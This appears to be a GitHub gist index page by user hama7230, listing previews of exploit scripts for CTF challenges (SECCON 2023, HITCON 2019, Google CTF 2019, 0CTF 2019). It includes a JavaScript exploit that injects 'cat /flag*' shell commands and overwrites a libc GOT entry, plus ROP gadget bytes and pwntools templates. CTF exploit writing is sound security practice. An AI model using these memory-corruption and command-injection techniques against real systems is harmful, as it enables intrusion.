Skip to content

Instantly share code, notes, and snippets.

View hama7230's full-sized avatar

hama hama7230

27 followers · 1 following
View GitHub Profile
@hama7230
hama7230 / exp.js
Created December 24, 2023 11:51
SECCON CTF 2023 Finals elk
let tmp = Array.create(0x10);
print("hogeogehohoge; cat /flag* ; cat /flag*; cat /flag*; "); // "
// 0xdeadbeef000000a8
let a = -11885953953521044204262283356352921729787255120762006772597472279566207698356848245844122139069258806622701577786132951422544398067457110976011173888.0000000000000--;
let offset_libc_got = 0x319f58 / 8 -11 + 0x3000/8;
let mod = 6.7946279131188262738573787925444e-318;
Array.set(tmp, offset_libc_got, Array.get(tmp,offset_libc_got ) - mod);
print(1);
@hama7230
hama7230 / exp.py
Created April 22, 2023 13:45
Ricerca CTF 2023 - safe thread
#!/usr/bin/env python
from pwn import *
context(terminal=['tmux', 'splitw', '-h']) # horizontal split window
# context(terminal=['tmux', 'new-window']) # open new window
# libc = ELF('')
elf = ELF('./chall')
context(os='linux', arch=elf.arch)
# context(log_level='debug') # output verbose log
@hama7230
hama7230 / exploit.htm
Last active August 17, 2020 19:47
Google Capture The Flag 2019 (Finals) Gomium Browser
<html>
<script type="text/goscript">
package main
import "fmt"
func bring_your_own_gadgts(x uint64, y uint64, z uint64, w uint64, v uint64) uint64 {
var a uint64 = 0xc3050f585a5e5f58;
var b uint64 = 0xdeadbeefdeadbeef+1
var c uint64 = 0xdeadbeefdeadbeef+2
@hama7230
hama7230 / exp.py
Created October 19, 2019 06:57
HITCON CTF 2019 Quals LazyHouse
#!/usr/bin/env python
from pwn import *
context(terminal=['tmux', 'splitw', '-h']) # horizontal split window
# context(terminal=['tmux', 'new-window']) # open new window
# libc = ELF('')
elf = ELF('./lazyhouse')
context(os='linux', arch=elf.arch)
# context(log_level='debug') # output verbose log
@hama7230
hama7230 / exp.py
Created October 19, 2019 06:56
HITCON CTF 2019 Quals One Punch Man
#!/usr/bin/env python
from pwn import *
context(terminal=['tmux', 'splitw', '-h']) # horizontal split window
# context(terminal=['tmux', 'new-window']) # open new window
# libc = ELF('')
elf = ELF('./one_punch')
context(os='linux', arch=elf.arch)
# context(log_level='debug') # output verbose log
@hama7230
hama7230 / exp.py
Created October 19, 2019 06:48
HITCON CTF 2019 Quals EmojiiiVM
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(terminal=['tmux', 'splitw', '-h']) # horizontal split window
# context(terminal=['tmux', 'new-window']) # open new window
# libc = ELF('')
elf = ELF('./emojivm')
context(os='linux', arch=elf.arch)
@hama7230
hama7230 / exp.py
Created October 19, 2019 06:47
HITCON CTF 2019 Quals 🎃 Trick or Treat 🎃
#!/usr/bin/env python
from pwn import *
context(terminal=['tmux', 'splitw', '-h']) # horizontal split window
# context(terminal=['tmux', 'new-window']) # open new window
# libc = ELF('')
elf = ELF('./trick_or_treat')
context(os='linux', arch=elf.arch)
context(log_level='debug') # output verbose log
@hama7230
hama7230 / exp.py
Created September 16, 2019 17:35
Real World CTF 2019 Quals Across the Great Wall
#!/usr/bin/env python
from pwn import *
from Crypto.Cipher import AES
import struct
import hashlib
import sys
from socket import inet_aton
context(terminal=['tmux', 'splitw', '-h']) # horizontal split window
# context(terminal=['tmux', 'new-window']) # open new window
@hama7230
hama7230 / README
Last active September 2, 2019 08:25
TokyoWesterns CTF 5th 2019 gnote
I'm not the author of "gnote". the autor is ga_ryo_
However I wrote my own exploit code to check if the challenge is solvable before starting the contest.
@hama7230
hama7230 / exp.c
Created June 10, 2019 04:59
0CTF/TCTF 2019 Finals Fast&Furious
#define PROT_READ 0x1 /* Page can be read. */
#define PROT_WRITE 0x2 /* Page can be written. */
#define MAP_PRIVATE 0x02 /* Changes are private. */
#define MAP_ANONYMOUS 0x20 /* Don't use a file. */
#define MAP_POPULATE 0x8000
#define MAP_FIXED 0x10
#define MAP_GROWSDOWN 0x0100
#define O_RDWR 2
#define O_NOCTTY 00000400
#define O_RDONLY 00000000